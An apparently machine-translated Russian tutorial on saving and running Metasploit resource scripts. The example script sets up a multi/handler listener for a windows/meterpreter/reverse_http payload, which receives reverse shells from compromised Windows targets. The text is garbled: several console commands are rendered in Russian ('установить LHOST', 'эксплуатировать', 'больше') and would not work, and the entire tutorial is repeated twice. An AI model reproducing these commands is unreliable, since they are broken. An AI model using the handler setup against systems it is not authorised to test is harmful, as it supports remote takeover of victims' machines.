В этой серии я постараюсь познакомить вас с многочисленными функциями Metasploit, лучшего в мире фреймворка для эксплуатации уязвимостей, взлома и пентеста. Существует так много функций и методов их использования, что лишь немногие пентестеры/хакеры знают о них всех.
Часто при проведении пентеста/взлома нам приходится многократно выполнять несколько команд Metasploit. Эти команды могут быть абсолютно одинаковыми каждый раз, и, как и при написании скриптов, нам может потребоваться автоматически выполнить несколько команд Metasploit за один шаг. Metasploit позволяет сохранять и хранить эти «скрипты», после чего их можно вызывать по имени скрипта. Metasploit называет эти скрипты файлами ресурсов.
Например, во многих атаках нам необходимо настроить мультиобработчик для подключения при выполнении полезной нагрузки на целевой системе. В моей новой серии Powersploit или с модулем веб-доставки Metasploit нам всегда потребуется настраивать мультиобработчик для получения соединений от отправленной полезной нагрузки. Обычно это включает в себя несколько команд: использование мультиобработчика, установку порта, установку полезной нагрузки, установку IP-адреса и так далее. Для упрощения задачи мы можем хранить все эти команды в файле ресурсов и просто запускать одну команду для их выполнения.
Теперь, когда вы лучше понимаете, когда это может пригодиться, давайте рассмотрим возможности скриптинга Metasploit с использованием файлов ресурсов.
Шаг 1: Изучение скриптов ресурсов в Metasploit
Для начала давайте посмотрим, где Metasploit хранит свои скрипты. Перейдём в /usr/share/metasploit-framework/scripts/resources и составим длинный список.
kali > cd /usr/share/metasploit-framework/scripts/resource
кали > ls -l
Как видите, Metasploit уже разработал и хранит здесь множество скриптов. Любой новый скрипт, который мы напишем, также будет храниться здесь.
Шаг 2 : Написание собственного сценария ресурса
Теперь давайте создадим собственный простой скрипт для запуска мульти-обработчика, необходимого для приёма подключений, например, тот, который мы использовали в первом руководстве по Powersploit. Сначала запустите Metasploit, а затем введите нужные команды в скрипт.
kali > msfconsole
msf > использовать эксплойт/мульти/обработчик
msf > set PAYLOAD windows/meterpreter/reverse_http
msf > установить LHOST 192.168.181.128
msf > установить LPORT 4444
После завершения всех необходимых команд в скрипте мы просто используем ключевое слово makerc, а затем имя скрипта. Например, здесь я назвал скрипт handler_http.rc (мульти/обработчик для HTTP, а затем расширение Metasploit для файлов ресурсов rc).
msf > makerc handler_http.rc
Metasploit теперь сохраняет каждую из этих команд в файле скрипта.
Шаг 3 : Проверка содержимого скрипта
Если нам нужно увидеть команды, содержащиеся в файле скрипта, мы можем использовать одну из многочисленных команд Linux для отображения содержимого файла, например, cat, less и more. В данном случае я использовал more, а затем имя файла ресурсов.
msf > больше handler_http.rc
Обратите внимание, что Metasploit теперь отображает команды в моем файле скрипта handler_http.rc.
Шаг 4: Выполнение нашего нового файла скрипта
Когда мы хотим выполнить этот скрипт, мы просто добавляем перед именем скрипта ключевое слово resource, например:
msf > resource handler_http.rc
Metasploit теперь будет автоматически выполнять каждую команду в нашем скрипте. Теперь просто введите exploit, чтобы запустить наш обработчик.
msf > эксплуатировать
Шаг 5: Проверка того , было ли сохранено
Если вернуться к месту хранения скриптов, то можно увидеть, что наш новый скрипт handler_http.rc теперь хранится вместе с другими предварительно упакованными скриптами Metasploit.
Шаг 6: Автоматический запуск скрипта с помощью Metasploit
Если до запуска Metasploit мы знаем, что будем использовать определённый скрипт, мы можем настроить Metasploit на автоматическое выполнение этого скрипта при запуске. Для этого запустите Metasploit с помощью команды msfconsole, ключа -r и имени файла ресурсов, который нужно выполнить при открытии, например:
kali > msfconsole -r handler_http.rc
Теперь при запуске Metasploit автоматически выполнит скрипт handler_http.rc, и все готово к работе.
Часто при проведении пентеста/взлома нам приходится многократно выполнять несколько команд Metasploit. Эти команды могут быть абсолютно одинаковыми каждый раз, и, как и при написании скриптов, нам может потребоваться автоматически выполнить несколько команд Metasploit за один шаг. Metasploit позволяет сохранять и хранить эти «скрипты», после чего их можно вызывать по имени скрипта. Metasploit называет эти скрипты файлами ресурсов.
Например, во многих атаках нам необходимо настроить мультиобработчик для подключения при выполнении полезной нагрузки на целевой системе. В моей новой серии Powersploit или с модулем веб-доставки Metasploit нам всегда потребуется настраивать мультиобработчик для получения соединений от отправленной полезной нагрузки. Обычно это включает в себя несколько команд: использование мультиобработчика, установку порта, установку полезной нагрузки, установку IP-адреса и так далее. Для упрощения задачи мы можем хранить все эти команды в файле ресурсов и просто запускать одну команду для их выполнения.
Теперь, когда вы лучше понимаете, когда это может пригодиться, давайте рассмотрим возможности скриптинга Metasploit с использованием файлов ресурсов.
Шаг 1: Изучение скриптов ресурсов в Metasploit
Для начала давайте посмотрим, где Metasploit хранит свои скрипты. Перейдём в /usr/share/metasploit-framework/scripts/resources и составим длинный список.
kali > cd /usr/share/metasploit-framework/scripts/resource
кали > ls -l
Как видите, Metasploit уже разработал и хранит здесь множество скриптов. Любой новый скрипт, который мы напишем, также будет храниться здесь.
Шаг 2 : Написание собственного сценария ресурса
Теперь давайте создадим собственный простой скрипт для запуска мульти-обработчика, необходимого для приёма подключений, например, тот, который мы использовали в первом руководстве по Powersploit. Сначала запустите Metasploit, а затем введите нужные команды в скрипт.
kali > msfconsole
msf > использовать эксплойт/мульти/обработчик
msf > set PAYLOAD windows/meterpreter/reverse_http
msf > установить LHOST 192.168.181.128
msf > установить LPORT 4444
После завершения всех необходимых команд в скрипте мы просто используем ключевое слово makerc, а затем имя скрипта. Например, здесь я назвал скрипт handler_http.rc (мульти/обработчик для HTTP, а затем расширение Metasploit для файлов ресурсов rc).
msf > makerc handler_http.rc
Metasploit теперь сохраняет каждую из этих команд в файле скрипта.
Шаг 3 : Проверка содержимого скрипта
Если нам нужно увидеть команды, содержащиеся в файле скрипта, мы можем использовать одну из многочисленных команд Linux для отображения содержимого файла, например, cat, less и more. В данном случае я использовал more, а затем имя файла ресурсов.
msf > больше handler_http.rc
Обратите внимание, что Metasploit теперь отображает команды в моем файле скрипта handler_http.rc.
Шаг 4: Выполнение нашего нового файла скрипта
Когда мы хотим выполнить этот скрипт, мы просто добавляем перед именем скрипта ключевое слово resource, например:
msf > resource handler_http.rc
Metasploit теперь будет автоматически выполнять каждую команду в нашем скрипте. Теперь просто введите exploit, чтобы запустить наш обработчик.
msf > эксплуатировать
Шаг 5: Проверка того , было ли сохранено
Если вернуться к месту хранения скриптов, то можно увидеть, что наш новый скрипт handler_http.rc теперь хранится вместе с другими предварительно упакованными скриптами Metasploit.
Шаг 6: Автоматический запуск скрипта с помощью Metasploit
Если до запуска Metasploit мы знаем, что будем использовать определённый скрипт, мы можем настроить Metasploit на автоматическое выполнение этого скрипта при запуске. Для этого запустите Metasploit с помощью команды msfconsole, ключа -r и имени файла ресурсов, который нужно выполнить при открытии, например:
kali > msfconsole -r handler_http.rc
Теперь при запуске Metasploit автоматически выполнит скрипт handler_http.rc, и все готово к работе.